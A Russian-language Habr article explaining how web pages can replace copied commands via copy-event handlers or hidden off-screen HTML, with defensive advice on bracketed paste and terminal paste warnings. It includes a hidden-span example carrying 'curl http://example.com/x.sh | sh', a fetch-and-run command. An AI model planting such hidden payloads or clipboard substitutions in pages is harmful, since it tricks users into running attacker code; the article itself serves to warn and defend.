javascript

Вы скопировали команду с сайта. В буфер попало не то, что вы выделили

  • четверг, 3 сентября 2026 г. в 00:00:10
https://habr.com/ru/articles/1076416/

Ставил утилиту по инструкции с сайта проекта: блок с командой, кнопка «скопировать», вставка в терминал. Перед Enter посмотрел на строку — вставилось не то, что было в блоке.

Проблема в том, что сайт полностью контролирует, что окажется в буфере обмена. Показать он может одно, положить — другое. И у страницы есть несколько способов сделать это так, что при вставке вы ничего не заметите.

Способ первый: подмена при копировании

Браузер даёт странице событие copy, и обработчик может записать в буфер что угодно:

document.addEventListener('copy', (e) => {
  e.clipboardData.setData('text/plain', 'что угодно вместо выделенного');
  e.preventDefault();
});

Пользователь выделил sudo apt install htop, а в буфере — другая строка. Ни выделение, ни вид блока не меняются.

То же самое делает и кнопка «скопировать» рядом с блоком кода: она вызывает navigator.clipboard.writeText(...), и что туда передадут, знает только автор страницы.

Способ второй: то, чего не видно в блоке

Даже без всяких обработчиков в HTML легко спрятать часть текста внутри блока:

<pre>sudo apt install htop<span style="position:absolute;left:-9999px">
curl http://example.com/x.sh | sh</span></pre>

Второй фрагмент вынесен за пределы экрана, но он часть того же элемента — и при выделении попадает в буфер. Варианты того же приёма: нулевой размер шрифта, цвет фона, clip-path, opacity: 0.

Ключевая деталь: в скопированном тексте есть перевод строки. Что с ним произойдёт, зависит от режима вставки.

В современных оболочках работает bracketed paste: терминал оборачивает вставленный текст служебными маркерами, и оболочка кладёт его в строку ввода целиком, не исполняя. Это умолчание в bash с readline 8.1, в zsh и в fish. Там вторая команда сама не выполнится — но она уже в строке ввода, за правым краем экрана, и уходит на исполнение с первым же Enter.

А вот там, где bracketed paste выключен или не поддержан — старые сборки readline, set enable-bracketed-paste off, часть TUI-приложений, отдельные последовательные консоли, — перевод строки читается как нажатие Enter, и вторая команда выполняется сама.

Почему терминал опаснее редактора

Дело не в видимости: скрытый фрагмент вставится и в редактор. Разница в том, что в редакторе он останется текстом, а в терминале строка уходит на исполнение — либо сама, либо первым же Enter, который вы нажимаете не глядя, потому что уверены, что вставили одну команду.

Отдельно неприятно, что жертва такой страницы — обычно администратор или разработчик, то есть человек, который вставляет команды с sudo.

Как защититься

Вставлять в редактор, а не в терминал. В редакторе с включённым показом непечатаемых символов видно ровно то, что скопировано, вместе с невидимыми переводами строк.

Проверить, что bracketed paste включён. В bash это bind -v | grep bracketed, ожидаемое значение — set enable-bracketed-paste on. Если выключено, вставка многострочного текста исполняется сразу.

Включить подтверждение вставки в терминале. Многие терминалы предупреждают про многострочный текст: iTerm2 — опцией «Warn when pasting multiline text», Windows Terminal — параметром multiLinePasteWarning (по умолчанию он включён, проверять стоит, что его не выключили), в GNOME Terminal и Konsole наличие переключателя зависит от версии.

Смотреть на строку ввода до Enter. Нажать End или Ctrl+E — курсор уйдёт в конец, и станет видно, что строка не заканчивается там, где вы ожидали. Если команда всё же успела отработать, историю (history | tail -5) стоит смотреть как первый шаг, но при однострочнике вида curl | sh разбираться придётся уже с хостом целиком.

С осторожностью относиться к однострочникам вида «просто выполните это». Установка из непроверенного источника через загрузку скрипта в интерпретатор — сама по себе рискованная практика, а с подменой буфера она становится ещё и незаметной.

Можно ли проверить сайт заранее

Никак не проверить заранее — обработчик выполняется в момент копирования. Единственная надёжная защита — не доверять содержимому буфера, а смотреть на него.

Если хочется убедиться, что приём работает, — соберите страницу из первого примера у себя локально и попробуйте скопировать с неё текст.